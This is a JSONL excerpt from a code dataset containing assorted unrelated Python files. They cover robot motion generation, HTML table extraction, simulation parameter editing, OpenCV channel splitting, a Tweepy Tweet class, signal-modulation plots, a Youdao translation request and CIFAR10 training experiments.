displayEffectorTrajectories(cs_ref, viewer, fullBody, \"_ref\", 0.6)\n\n\n    print(\"------------------------------\")\n    print(\"### MLP : whole-body  ###\")\n    import mlp.wholebody as wholeBody\n    if not wholeBody.Inputs.checkAndFillRequirements(cs_ref,cfg,fullBody):\n        raise RuntimeError(\"The current contact sequence cannot be given as input to the wholeBody method selected.\")\n    cs_wb, robot = wholeBody.generateWholeBodyMotion(cs_ref,cfg, fullBody, viewer)\n    wholeBody.Outputs.assertRequirements(cs_wb)\n    cs_wb_iters += [cs_wb]\n\n    if cfg.WRITE_STATUS and iterDynFilter == 0:\n        if not os.path.exists(cfg.OUTPUT_DIR):\n            os.makedirs(cfg.OUTPUT_DIR)\n        f = open(cfg.STATUS_FILENAME, \"a\")\n        f.write(\"wholebody_success: True\\n\")\n        if cs_wb.size() == cs_ref.size() :\n            f.write(\"wholebody_reach_goal: True\\n\")\n        else:\n            f.write(\"wholebody_reach_goal: False\\n\")\n        f.close()\n\nif cfg.DISPLAY_FEET_TRAJ:\n    from mlp.viewer.display_tools import displayEffectorTrajectories\n    if cfg.IK_store_effector:\n        displayEffectorTrajectories(cs_wb, viewer, fullBody)\n    else :\n        displayEffectorTrajectories(cs_ref, viewer, fullBody)\n\n\nif cfg.CHECK_FINAL_MOTION and cs_wb is not None and cs_wb.size() > 0:\n    from mlp.utils import check_path\n    print(\"## Begin validation of the final motion (collision and joint-limits)\")\n    validator = check_path.PathChecker(fullBody, cfg.CHECK_DT, True)\n    motion_valid, t_invalid = validator.check_motion(cs_wb.concatenateQtrajectories())\n    print(\"## Check final motion, valid = \", motion_valid)\n    if not motion_valid:\n        print(\"## First invalid time : \", t_invalid)\n    if cfg.WRITE_STATUS:\n        f = open(cfg.STATUS_FILENAME, \"a\")\n        f.write(\"motion_valid: \" + str(motion_valid) + \"\\n\")\n        f.close()\nelif cs_wb is not None and cs_wb.size() > 0:\n    motion_valid = True\nelse:\n    motion_valid = False\n\ntTotal = time.time() - tStart\nprint(\"### Complete motion generation time: \"+ str(tTotal) + \" s\")\n\nif cfg.SAVE_CS:\n    if not os.path.exists(cfg.CONTACT_SEQUENCE_PATH):\n        os.makedirs(cfg.CONTACT_SEQUENCE_PATH)\n    filename = cfg.CS_FILENAME\n    print(\"Write contact sequence binary file : \", filename)\n    cs.saveAsBinary(filename)\nif cfg.SAVE_CS_COM:\n    if not os.path.exists(cfg.CONTACT_SEQUENCE_PATH):\n        os.makedirs(cfg.CONTACT_SEQUENCE_PATH)\n    filename = cfg.COM_FILENAME\n    print(\"Write contact sequence binary file with centroidal trajectory : \", filename)\n    cs_com.saveAsBinary(filename)\nif cfg.SAVE_CS_REF:\n    if not os.path.exists(cfg.CONTACT_SEQUENCE_PATH):\n        os.makedirs(cfg.CONTACT_SEQUENCE_PATH)\n    filename = cfg.REF_FILENAME\n    print(\"Write contact sequence binary file with centroidal and end effector trajectories: \", filename)\n    cs_ref.saveAsBinary(filename)\nif cfg.SAVE_CS_WB:\n    if not os.path.exists(cfg.CONTACT_SEQUENCE_PATH):\n        os.makedirs(cfg.CONTACT_SEQUENCE_PATH)\n    filename = cfg.WB_FILENAME\n    print(\"Write contact sequence binary file with wholebody trajectories: \", filename)\n    cs_wb.saveAsBinary(filename)\n\nif cfg.DISPLAY_WB_MOTION:\n    input(\"Press Enter to display the whole body motion ...\")\n    display_tools.displayWBmotion(viewer, cs_wb.concatenateQtrajectories(), cfg.DT_DISPLAY)\n\nif cfg.PLOT:\n    from mlp.utils import plot\n    plot.plotALLFromWB(cs_ref_iters, cs_wb_iters, cfg)\n    if cfg.ITER_DYNAMIC_FILTER > 0:\n        plot.compareCentroidal(cs, cs_com_iters, cfg)\n\nif cfg.EXPORT_OPENHRP and motion_valid:\n    from mlp.export import openHRP\n    openHRP.export(cs_com, cs_wb) # FIXME\nif cfg.EXPORT_GAZEBO and motion_valid:\n    from mlp.export import gazebo\n    gazebo.export(cs_wb.concatenateQtrajectories())\nif cfg.EXPORT_NPZ and motion_valid:\n    from mlp.export import npz\n    npz.export(cs_ref, cs_wb, cfg)\nif cfg.EXPORT_BLENDER:\n    from mlp.export import blender\n    blender.export(cs_wb.concatenateQtrajectories(), viewer)\n    blender.exportSteppingStones(viewer)\nif cfg.EXPORT_SOT:\n    from mlp.export import sotTalosBalance\n    sotTalosBalance.export(cs_wb) # TODO\n\n\n\ndef dispCS(step=0.2):\n    display_tools.displayContactSequence(viewer, cs, step)\n\n\ndef dispWB(t=None):\n    if t is None:\n        display_tools.displayWBmotion(viewer,cs_wb.concatenateQtrajectories(), cfg.DT_DISPLAY)\n    else:\n        display_tools.displayWBatT(viewer, cs_wb, t)\n\n\n\"\"\"\n#record gepetto-viewer \nviewer.startCapture(\"capture/capture\",\"png\")\ndispWB()\nviewer.stopCapture()\n\n\n\"\"\"\n","sub_path":"scripts/run_mlp.py","file_name":"run_mlp.py","file_ext":"py","file_size_in_byte":8768,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"546230865","text":"\"\"\"\n    libextract.formatters\n    ~~~~~~~~~~~~~~~~~~~~~\n\n    Formats the results of extraction into serializable\n    representations, e.g. JSON, text.\n\"\"\"\n\ntry:\n    from itertools import izip_longest as zip_longest\nexcept ImportError:\n    from itertools import zip_longest\nfrom .xpaths import FILTER_TEXT\n\n\nUNLIMITED = float('NaN')\n\n\ndef get_text(node):\n    \"\"\"\n    Gets the text contained within the children node\n    of a given *node*, joined by a space.\n    \"\"\"\n    return ' '.join(node.xpath(FILTER_TEXT))\n\n\ndef split_node_attr(attr):\n    \"\"\"\n    Returns a function that, given a *node*, splits\n    the *attr* of the node into a list of strings.\n    \"\"\"\n    def splitter(node):\n        return (node.get(attr) or '').split()\n    return splitter\n\n\nget_node_id = split_node_attr('id')\nget_node_class = split_node_attr('class')\n\n\ndef node_json(node, depth=0):\n    \"\"\"\n    Given a *node*, serialize it and recursively\n    serialize it's children to a given *depth*.\n    Note that if the *depth* runs out (goes to 0),\n    the children key will be ``None``.\n    \"\"\"\n    return {\n        'xpath': node.getroottree().getpath(node),\n        'class': get_node_class(node),\n        'text': node.text,\n        'tag': node.tag,\n        'id': get_node_id(node),\n        'children': (\n            [node_json(n, depth-1) for n in node] if depth else None\n        ),\n    }\n\n\ndef chunks(iterable, size):\n    \"\"\"\n    Yield successive chunks of *size* from a given\n    *iterable*, filling the unfilled chunks with\n    None.\n    \"\"\"\n    args = [iter(iterable)] * size\n    for row in zip_longest(*args, fillvalue=None):\n        yield list(row)\n\n\ndef tabular_node_extractor(tag):\n    \"\"\"\n    Returns a function that yields all of the child\n    nodes of a given *node* in depth first order, that\n    matches the given *tag*.\n    \"\"\"\n    def extract(node):\n        for elem in node.iter(tag):\n            yield ' '.join(elem.text_content().split())\n    return extract\n\n\nget_table_headings = tabular_node_extractor('th')\nget_table_rows = tabular_node_extractor('td')\n\n\ndef table_json(node):\n    \"\"\"\n    Given a table *node* (ie. <table>), return a dictionary\n    of key-value pairs, where the key is the heading and the\n    value is a list of rows.\n    \"\"\"\n    headings = list(get_table_headings(node))\n    rows = list(chunks(get_table_rows(node), len(headings)))\n    return {heading: [row[col] for row in rows]\n            for col, heading in enumerate(headings)}\n\n\ndef table_list(node):\n    \"\"\"\n    Given a table *HtmlElement* (ie. <table>), return\n    a list of lists, where the first list contains the\n    table headings, and the subsequent lists contain\n    rows of data.\n    \"\"\"\n    headings = list(get_table_headings(node))\n    rows = get_table_rows(node)\n    table = [headings]\n    table.extend(chunks(rows, len(headings)))\n    return table\n\n\ndef ul_ol_list(node):\n    \"\"\"\n    Given an un/ordered list *HtmlElement* (ie. <ul>|<ol>),\n    return a list, where the first item is be the id and classes\n    of the *node*, and the subsequent items contain the inner\n    text of the list.\n    \"\"\"\n    attrs = get_node_id(node)\n    attrs.extend(get_node_class(node))\n    yield attrs\n    for elem in node.iter('li'):\n        yield elem.text_content()\n","sub_path":"libextract/formatters.py","file_name":"formatters.py","file_ext":"py","file_size_in_byte":3227,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"249608312","text":"#!/usr/bin/env python\n\nimport io\nimport os\nimport re\nfrom optparse import OptionParser\n\ndefaults = {'extraTime': 3600,  # add one hour\n            'outFile': None\n            }\n\n\ndef parserSetup():\n    # Define a command-line option parser and add the options we need\n    parser = OptionParser(usage=\"%prog [options] PARAMfile\",\n                          version=\"%prog Version 0.99 (June 28, 2017)\")\n\n    parser.add_option(\"-t\", \"--extraTime\", dest=\"extraTime\",\n                      help=\"Number of extra seconds to run in restarted simulation\")\n\n    parser.add_option(\"-o\", \"--outFile\", dest=\"outFile\",\n                      help=\"Optional output filename. Default is to overwrite input file.\")\n\n    return parser\n\n\ndef replaceSTARTTIME(fn, options):\n    '''Scan file for #STARTTIME block and replace entire block with #RESTART\n    '''\n    expr = re.compile('#STARTTIME')\n    startblock = False\n    store = io.StringIO()\n    with open(fn, 'r') as fh:\n        lines = fh.readlines()\n        lines = [line.rstrip() for line in lines]  # ensure linux newline by replacing whatever is there\n        # replace simulation end time with n + additional time\n        for line in lines:\n            searchyn = re.match(expr, line)\n            if searchyn:  # target line\n                startblock = True\n                store.write('#RESTART\\n\\n')\n            elif line and line[0] != '#' and startblock:\n                pass  # skip storing these lines\n            elif ((not line) or (line[0] == '#')) and startblock:\n                startblock = False  # exiting STARTTIME block\n            else:\n                store.write(line+'\\n')\n    store.seek(0)\n    with open(options.outFile, 'w') as fh:\n        fh.writelines(store.readlines())\n\n\ndef updateSTOP(options):\n    '''Scan file for #STOP block and update end time\n    '''\n    expr = re.compile('(^[0-9]+)*([\" \"\\t]+)(tSimulationMax)')\n    store = io.StringIO()\n    with open(options.outFile, 'r') as fh:\n        lines = fh.readlines()\n        # replace simulation end time with n + additional time\n        for line in lines:\n            searchyn = re.match(expr, line)\n            if searchyn:  # target line\n                parts = searchyn.groups()\n                fmtr = (int(parts[0])+int(options.extraTime), parts[1], parts[2])\n                line = '{}{}{}\\n'.format(*fmtr)\n            store.write(line)\n    store.seek(0)\n    with open(options.outFile, 'w') as fh:\n        fh.writelines(store.readlines())\n\n\nif __name__ == '__main__':\n    parser = parserSetup()\n    # Parse the args that were (potentially) given to us on the command line\n    (options, in_args) = parser.parse_args()\n\n    # roll defaults into options dict and do any checking\n    valid_opt = 0\n    for key in options.__dict__.keys():\n        if options.__dict__[key] is not None:\n            valid_opt += 1\n        try:\n            if options.__dict__[key] is None:\n                options.__dict__[key] = defaults[key]\n        except KeyError:\n            pass\n\n    # check for any input arguments, if not, print help\n    if (not in_args) or (not os.path.isfile(in_args[0])):\n        parser.print_help()\n        exit()\n\n    paramfile = in_args[0]  # name of file to work with\n    if options.outFile is None:\n        options.outFile = paramfile\n\n    replaceSTARTTIME(paramfile, options)\n    updateSTOP(options)\n","sub_path":"Scripts/rtUpdateParam.py","file_name":"rtUpdateParam.py","file_ext":"py","file_size_in_byte":3335,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"391868687","text":"import numpy as np, cv2\r\n\r\nlogo=cv2.imread(\"c:/computervision/chap05/image/img3.jpg\", cv2.IMREAD_COLOR)\r\nlogo = logo[:600,:]\r\nif logo is None: raise Exception(\"영상 입력 오류\")\r\n\r\nblue, green, red = cv2.split(logo)\r\n\r\nzero=np.zeros(logo.shape[:2], np.uint8)\r\nlist=[blue, zero, zero]\r\nblue_image=cv2.merge(list)\r\nlist=[zero, green, zero]\r\ngreen_image=cv2.merge(list)\r\nlist=[zero, zero, red]\r\nred_image=cv2.merge(list)\r\n\r\ncv2.imshow('1', blue_image)\r\ncv2.imshow('2', green_image)\r\ncv2.imshow('3', red_image)\r\ncv2.waitKey()","sub_path":"7.py","file_name":"7.py","file_ext":"py","file_size_in_byte":526,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"568524287","text":"import matplotlib.pyplot as plt\nimport os\nimport re\nimport sys\n\nlabel_num_topologies = [\"10\",\"13\", \"15\", \"18\", \"20\",\"22\",\"25\",\"28\",\"30\"]\nnum_topologies = [\"11\",\"14\", \"16\", \"19\", \"21\",\"23\", \"26\", \"29\", \"31\"]\nrssi_weights = [\"0.050\",\"0.500\", \"1.000\"]\nlabel_weights = [\"RSSI W:0.05\",\"RSSI W:0.5\", \"RSSI W:1.000\"]\ncolors = [\"orange\",\"blue\",\"purple\"]\n\ndef get_spendtime_duration(num_topology, weight):\n    path = str.format(\"%s/%s/\" % (num_topology, weight))\n    files = os.listdir(path)\n    print(\"files \",files)\n    values = []\n    min_value = sys.maxsize\n    max_value = 1 - sys.maxsize\n    for file in files:\n        with open(path + file) as f:\n            content = f.readlines()\n            for line in content:\n                if line.startswith(\"Spend time: \"):\n                    values.append(int(re.search(r'\\d+', line).group(0)))\n                    break\n    result = 0\n    for value in values:\n        if min_value > value:\n            min_value = value\n        if max_value < value:\n            max_value = value\n        result += value\n    return result / len(values), max_value, min_value\nfor index, weight in enumerate(rssi_weights):\n    values = []\n    for topoIndex, topo in enumerate(num_topologies):\n        value, max_value, min_value = get_spendtime_duration(topo, weight)\n        values.append(value)\n    plt.plot(label_num_topologies, values, color=colors[index], label=label_weights[index])\n\nplt.xlabel(\"number of nodes\")\nplt.ylabel(\"life time(s)\")\n#plt.legend(loc='upper left')\nplt.savefig(\"results.png\")","sub_path":"create_graph_lifetime.py","file_name":"create_graph_lifetime.py","file_ext":"py","file_size_in_byte":1529,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"367072551","text":"\"\"\"Tedious implementation details of name arithmetic used by peak.naming.names\n\nDon't bother reading this unless you enjoy tedious details; you won't ever\nneed to use anything here directly.\"\"\"\n\n__all__ = [\n    'name_add', 'name_radd', 'name_sub', 'name_rsub'\n]\n\nimport names\nfrom interfaces import COMPOUND_KIND, COMPOSITE_KIND, URL_KIND\n\ndef composite_plus_composite(n1,n2):\n\n    l = list(n1)\n    last = l.pop()\n\n    if not last:\n        l.extend(list(n2))\n    else:\n        l.append(last + n2[0])\n        l.extend(list(n2)[1:])\n\n    if len(l)==1 and l[0]:\n        return l[0]\n\n    return names.CompositeName(l)\n\ndef composite_plus_compound(n1,n2):\n\n    l = list(n1)\n    last = l.pop()\n\n    if not last: l.append(n2)\n    else:        l.append(last+n2)\n\n    if len(l)==1 and l[0]:\n        return l[0]\n\n    return names.CompositeName(l)\n\ndef any_plus_url(n1,n2):\n    return n2\n\n\ndef compound_plus_compound(n1,n2):\n    return n1.__class__(list(n1)+list(n2))\n\n\ndef compound_plus_composite(n1,n2):\n\n    l = list(n2)\n    first = l[0]\n\n    if first:   l[0] = n1+first\n    else:       l[0] = n1\n\n    if len(l)==1 and l[0]:\n        return l[0]\n\n    return names.CompositeName(l)\n\n\ndef url_plus_other(n1,n2):\n    return n1.addName(n2)\n\n\nname_addition = {\n    (COMPOSITE_KIND,      URL_KIND): any_plus_url,\n    (COMPOUND_KIND,       URL_KIND): any_plus_url,\n    (URL_KIND,            URL_KIND): any_plus_url,\n    (URL_KIND,       COMPOUND_KIND): url_plus_other,\n    (URL_KIND,      COMPOSITE_KIND): url_plus_other,\n\n    (COMPOSITE_KIND,COMPOSITE_KIND): composite_plus_composite,\n    (COMPOUND_KIND,  COMPOUND_KIND): compound_plus_compound,\n    (COMPOSITE_KIND, COMPOUND_KIND): composite_plus_compound,\n    (COMPOUND_KIND, COMPOSITE_KIND): compound_plus_composite,\n}\n\n\n\ndef name_add(self, other):\n    if self and other:\n        return name_addition[self.nameKind,other.nameKind](self,other)\n    return self or other\n\ndef name_radd(self, other):\n    if self and other:\n        return name_addition[other.nameKind,self.nameKind](other,self)\n    return self or other\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\ndef same_minus_same(n1,n2):\n    if not n2 or n1[:len(n2)] == n2:\n        return n1[len(n2):]\n\ndef compound_minus_composite(n1,n2):\n    if len(n2)==1:\n        return n1-n2[0]\n\ndef composite_minus_compound(n1,n2):\n    if n1:\n        p = n1[0]-n2\n        if p is not None:\n            return names.CompositeName([p]+list(n1)[1:])\n\n\ndef url_minus_other(n1,n2):\n    pass    # URL can't be a prefix of a name, or vice versa, so return 'None'\n\n\ndef url_minus_url(n1,n2):\n    a1, nic1 = n1.getAuthorityAndName()\n    a2, nic2 = n1.getAuthorityAndName()\n\n    if a1==a2: return nic1 - nic2\n    # else not subtractable, return None\n\n\nname_subtraction = {\n    (COMPOSITE_KIND,      URL_KIND): url_minus_other,\n    (COMPOUND_KIND,       URL_KIND): url_minus_other,\n    (URL_KIND,            URL_KIND): url_minus_url,\n    (URL_KIND,       COMPOUND_KIND): url_minus_other,\n    (URL_KIND,      COMPOSITE_KIND): url_minus_other,\n\n    (COMPOSITE_KIND,COMPOSITE_KIND): same_minus_same,\n    (COMPOUND_KIND,  COMPOUND_KIND): same_minus_same,\n    (COMPOSITE_KIND, COMPOUND_KIND): composite_minus_compound,\n    (COMPOUND_KIND, COMPOSITE_KIND): compound_minus_composite,\n}\n\n\ndef name_sub(self, other):\n    if other:\n        return name_subtraction[self.nameKind,other.nameKind](self,other)\n    return self\n\n\ndef name_rsub(self, other):\n    if self:\n        return name_subtraction[other.nameKind,self.nameKind](other,self)\n    return other\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"PEAK-0.5a4dev_r2085/build/lib.macosx-10.6-x86_64-2.7/peak/naming/arithmetic.py","file_name":"arithmetic.py","file_ext":"py","file_size_in_byte":3532,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"523995913","text":"import random\n\n\nWORDS = [\"HALLO\", \"HEY\", \"HI\", \"TSCHÜSS\", \"AUF WIEDERSEHEN\"]\ngreetings = [\"HALLO\", \"HEY\", \"HI\"]\ngodbye = [\"TSCHÜSS\", \"AUF WIEDERSEHEN\"]\n\ndef handle(text):\n    for word in WORDS:\n        if word in text.upper():\n            if word in greetings: # greetings\n                answer = [\"Hallo.\", \"Hi.\"]\n            elif word in godbye: # godbye\n                answer = [\"Auf Wiedersehen\", \"Tschüss\"]\n\n    return random.choice(answer)\n\n\ndef is_valid(text):\n    response = False\n    text = text.upper()\n    for word in WORDS:\n        if word in text:\n            response = True\n            break\n\n    return response\n","sub_path":"modules/general.py","file_name":"general.py","file_ext":"py","file_size_in_byte":633,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"46399130","text":"import re\n\n\n\ndef grabQuotes(fileName):\n    regex = r\"\\\"(?:[^\\\"\\\\]|\\\\.)*\\\"\"\n    h = []\n    with open(fileName,  encoding=\"Latin1\") as fp:\n        for line in fp:\n            sent = re.findall(regex, line, flags=0)\n            if len(sent) > 0 and sent not in h:\n                h.append(sent)\n    return h\n\n\nq = grabQuotes('heckles.txt')\n\nfor line in q:\n    print(line)\n","sub_path":"python.py","file_name":"python.py","file_ext":"py","file_size_in_byte":369,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"166228886","text":"# Tweepy\n# Copyright 2009-2021 Joshua Roesslein\n# See LICENSE for details.\n\nimport datetime\n\nfrom tweepy.mixins import DataMapping, HashableID\n\n\nclass Tweet(HashableID, DataMapping):\n\n    __slots__ = (\n        \"data\", \"id\", \"text\", \"attachments\", \"author_id\",\n        \"context_annotations\", \"conversation_id\", \"created_at\", \"entities\",\n        \"geo\", \"in_reply_to_user_id\", \"lang\", \"non_public_metrics\",\n        \"organic_metrics\", \"possibly_sensitive\", \"promoted_metrics\",\n        \"public_metrics\", \"referenced_tweets\", \"reply_settings\", \"source\",\n        \"withheld\"\n    )\n\n    def __init__(self, data):\n        self.data = data\n        self.id = int(data[\"id\"])\n        self.text = data[\"text\"]\n\n        self.attachments = data.get(\"attachments\")\n\n        self.author_id = data.get(\"author_id\")\n        if self.author_id is not None:\n            self.author_id = int(self.author_id)\n\n        self.context_annotations = data.get(\"context_annotations\", [])\n\n        self.conversation_id = data.get(\"conversation_id\")\n        if self.conversation_id is not None:\n            self.conversation_id = int(self.conversation_id)\n\n        self.created_at = data.get(\"created_at\")\n        if self.created_at is not None:\n            self.created_at = datetime.datetime.strptime(\n                self.created_at, \"%Y-%m-%dT%H:%M:%S.%f%z\"\n            )\n\n        self.entities = data.get(\"entities\")\n        self.geo = data.get(\"geo\")\n\n        self.in_reply_to_user_id = data.get(\"in_reply_to_user_id\")\n        if self.in_reply_to_user_id is not None:\n            self.in_reply_to_user_id = int(self.in_reply_to_user_id)\n\n        self.lang = data.get(\"lang\")\n        self.non_public_metrics = data.get(\"non_public_metrics\")\n        self.organic_metrics = data.get(\"organic_metrics\")\n        self.possibly_sensitive = data.get(\"possibly_sensitive\")\n        self.promoted_metrics = data.get(\"promoted_metrics\")\n        self.public_metrics = data.get(\"public_metrics\")\n\n        self.referenced_tweets = None\n        if \"referenced_tweets\" in data:\n            self.referenced_tweets = [\n                ReferencedTweet(referenced_tweet)\n                for referenced_tweet in data[\"referenced_tweets\"]\n            ]\n\n        self.reply_settings = data.get(\"reply_settings\")\n        self.source = data.get(\"source\")\n        self.withheld = data.get(\"withheld\")\n\n    def __len__(self):\n        return len(self.text)\n\n    def __repr__(self):\n        return f\"<Tweet id={self.id} text={self.text}>\"\n\n    def __str__(self):\n        return self.text\n\n\nclass ReferencedTweet(HashableID, DataMapping):\n\n    __slots__ = (\"data\", \"id\", \"type\")\n\n    def __init__(self, data):\n        self.data = data\n        self.id = int(data[\"id\"])\n        self.type = data[\"type\"]\n\n    def __repr__(self):\n        return f\"<ReferencedTweet id={self.id} type={self.type}\"\n","sub_path":"tweepy/tweet.py","file_name":"tweet.py","file_ext":"py","file_size_in_byte":2833,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"557531539","text":"import numpy as np\nfrom scipy import signal\nimport matplotlib.pyplot as plt\nplt.style.use('seaborn-whitegrid')\n\nx = np.linspace(0.0, 2*np.pi, 1000)\n\ny1 = np.sin(20*x)\n\ny2 = 1.5 + np.sin(2*x)\ny3 = 1.5 + signal.square(np.pi * x)\ny4 = (y2 * y1)\ny5 = (y3 * y1)\n\nplots = []\np1 = plt.subplot(5, 1, 1)\nplt.plot(x, y1, color='steelblue')\nplt.ylabel('Portadora')\nplots.append(p1)\n\np2 = plt.subplot(5, 1, 2)\nplt.plot(x, y2,color='red')\nplt.ylabel('Analogica')\nplots.append(p2)\n\np3 = plt.subplot(5, 1, 3)\nplt.plot(x, y4, color='green')\nplt.plot(x, y2, linestyle='dashed', color='steelblue')\nplt.plot(x, -y2, linestyle='dashed', color='steelblue')\nplt.ylabel('AM')\nplots.append(p3)\n\np4 = plt.subplot(5, 1, 4)\nplt.plot(x, y3,color='red')\nplt.ylabel('Digital')\nplots.append(p4)\n\np5 = plt.subplot(5, 1, 5)\nplt.plot(x, y5, color='green')\nplt.plot(x, y3, linestyle='dashed', color='steelblue')\nplt.plot(x, -y3, linestyle='dashed', color='steelblue')\nplt.ylabel('ASK')\nplots.append(p5)\n\n\nfor plot in plots:\n    plot.axes.get_xaxis().set_ticks([])\n    plot.axes.get_yaxis().set_ticks([])\n\nplt.show()","sub_path":"ask_plot.py","file_name":"ask_plot.py","file_ext":"py","file_size_in_byte":1080,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"121847069","text":"import urllib.request\nimport urllib.parse\nimport json\nurl=\"http://fanyi.youdao.com/translate?smartresult=dict&smartresult=rule\"\n\ndata={}\ndata['i']=input(\"请输入要翻译的英文\")\n# data['i']='I love you!'\ndata['type']='AUTO'\ndata['from']='AUTO'\ndata['to']='AUTO'\ndata['smartresult']='dict'\ndata['client']='fanyideskweb'\ndata['salt']='15596168166136'\ndata['sign']='239be85d0457f3e420562377e74d5c84'\ndata['ts']='1559616816613'\ndata['bv']='f4d62a2579ebb44874d7ef93ba47e822'\ndata['doctype']='json'\ndata['version']='2.1'\ndata['keyfrom']='fanyi.web'\ndata['action']='FY_BY_REALTlME'\ndata=urllib.parse.urlencode(data).encode('utf-8')\n\nresponse=urllib.request.urlopen(url,data)\nhtml =response.read().decode('utf-8')\n\n# print(html)\ntarget=json.loads(html)\n\n# print(json.loads(html))\nprint(target['translateResult'][0][0]['tgt'])\n","sub_path":"Study/pachong/demo12.py","file_name":"demo12.py","file_ext":"py","file_size_in_byte":824,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"107604620","text":"'''Train CIFAR10 with PyTorch.'''\nimport argparse\nimport os\n\nimport numpy as np\n\nfrom lib.densenet import DenseNet121\nfrom lib.experiments import load_dataset, run_wcl, train_with_original, run_pop, run_egdis, run_cl, run_wcl2, run_wcl3\n\nparser = argparse.ArgumentParser(description='PyTorch CIFAR10 Training')\nparser.add_argument('--experiment', default=1, type=int, help='Run which experiment')\nparser.add_argument('--select', default=1, type=int, help='Run which stage')\nparser.add_argument('--batch_size', default=256, type=int, help='Traning batch size')\nparser.add_argument('--stage', default=1, type=int, help='Run which substage')\nparser.add_argument('--numbers', default=0, type=int, help='Run which fixed number of samples')\nargs = parser.parse_args()\n\nx_train, x_valid, x_test, y_train, y_valid, y_test = load_dataset(\"cifar10\")\nprint(\"cifar10 loaded\")\n\nprint(\"There are {} training samples and {} validation samples\".format(x_train.shape[0], x_valid.shape[0]))\nprint(\"There are {} test samples.\".format(x_test.shape[0]))\n\nbatch_size = args.batch_size\nnet = DenseNet121()\n\nprint(\"This is records for stage {}\".format(args.stage))\n\nnumbers = args.numbers\n\n# def load_net(weights):\n#     new_state_dict = OrderedDict()\n#     for k, v in weights.items():\n#         name = k[7:]  # remove module.\n#         new_state_dict[name] = v\n#     return new_state_dict\n\n\n# Experiment 1: train whole cifar10  with DenseNet121\nif args.experiment == 1:\n    print(\"Train with the whole dataset.\")\n    history = train_with_original((x_train, y_train), (x_valid, y_valid), (x_test, y_test), net, \"cifar10\",\n                                  batch_size=batch_size, stage=args.stage)\n\n    np.save(os.path.join(os.getcwd(), \"models\", \"cifar10\", \"whole_train_his\" + \"_stage_\" + str(args.stage) + \".npy\"),\n            history)\n    print(\"History saved.\")\n\n# Experiment 2: train the POP selected dataset\nif args.experiment == 2:\n    print(\"Train with the pop selected dataset.\")\n    history = run_pop((x_train, y_train), (x_valid, y_valid), (x_test, y_test), net, \"cifar10\", 10,\n                      batch_size=batch_size, i=args.select, stage=args.stage, num_samples=numbers)\n    for his in history:\n        np.save(os.path.join(os.getcwd(), \"models\", \"cifar10\",\n                             \"pop_his_size_\" + str(his[\"size\"]) + \"_stage_\" + str(args.stage) + \".npy\"), history)\n    print(\"History saved.\")\n\n# Experiment 3: train the EGDIS selected dataset\nif args.experiment == 3:\n    print(\"Train with the egdis selected dataset.\")\n    history = run_egdis((x_train, y_train), (x_valid, y_valid), (x_test, y_test), net, \"cifar10\", 10,\n                        batch_size=batch_size, stage=args.stage)\n    np.save(os.path.join(os.getcwd(), \"models\", \"cifar10\", \"egdis_his\" + \"_stage_\" + str(args.stage) + \".npy\"), history)\n    print(\"History saved.\")\n\n# Experiment 4: train the CL selected dataset\nif args.experiment == 4:\n    print(\"Train with the cl selected dataset.\")\n    history = run_cl((x_train, y_train), (x_valid, y_valid), (x_test, y_test), net, \"cifar10\", 10,\n                     batch_size=batch_size, i=args.select, stage=args.stage, num_samples=numbers)\n    for his in history:\n        np.save(os.path.join(os.getcwd(), \"models\", \"cifar10\",\n                             \"cl_his_size_\" + str(his[\"size\"]) + \"_stage_\" + str(args.stage) + \".npy\"), history)\n    print(\"History saved.\")\n\n# Experiment 5: train the WCL selected dataset\nif args.experiment == 5:\n    print(\"Train with the im wcl selected dataset.\")\n    history = run_wcl((x_train, y_train), (x_valid, y_valid), (x_test, y_test), net, \"cifar10\", 10,\n                      batch_size=batch_size, i=args.select, stage=args.stage, num_samples=numbers)\n    for his in history:\n        np.save(os.path.join(os.getcwd(), \"models\", \"cifar10\",\n                             \"im_wcl_his_size_\" + str(his[\"size\"]) + \"_stage_\" + str(args.stage) + \".npy\"), history)\n    print(\"History saved.\")\n\nif args.experiment == 6:\n    print(\"Train with the wcl selected dataset (by weighted the boundary points).\")\n    history = run_wcl2((x_train, y_train), (x_valid, y_valid), (x_test, y_test), net, \"cifar10\", 10,\n                       batch_size=batch_size, i=args.select, stage=args.stage, num_samples=numbers)\n    for his in history:\n        np.save(os.path.join(os.getcwd(), \"models\", \"cifar10\",\n                             \"wcl2_his_size_\" + str(his[\"size\"]) + \"_stage_\" + str(args.stage) + \".npy\"), history)\n    print(\"History saved.\")\n\nif args.experiment == 7:\n    print(\"Train with the wcl selected dataset (by weighted the boundary points).\")\n    history = run_wcl3((x_train, y_train), (x_valid, y_valid), (x_test, y_test), net, \"cifar10\", 10,\n                       batch_size=batch_size, i=args.select, stage=args.stage, num_samples=numbers)\n    for his in history:\n        np.save(os.path.join(os.getcwd(), \"models\", \"cifar10\",\n                             \"wcl3_his_size_\" + str(his[\"size\"]) + \"_stage_\" + str(args.stage) + \".npy\"), history)\n    print(\"History saved.\")\n","sub_path":"cifar10_experiments.py","file_name":"cifar10_experiments.py","file_ext":"py","file_size_in_byte":5021,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
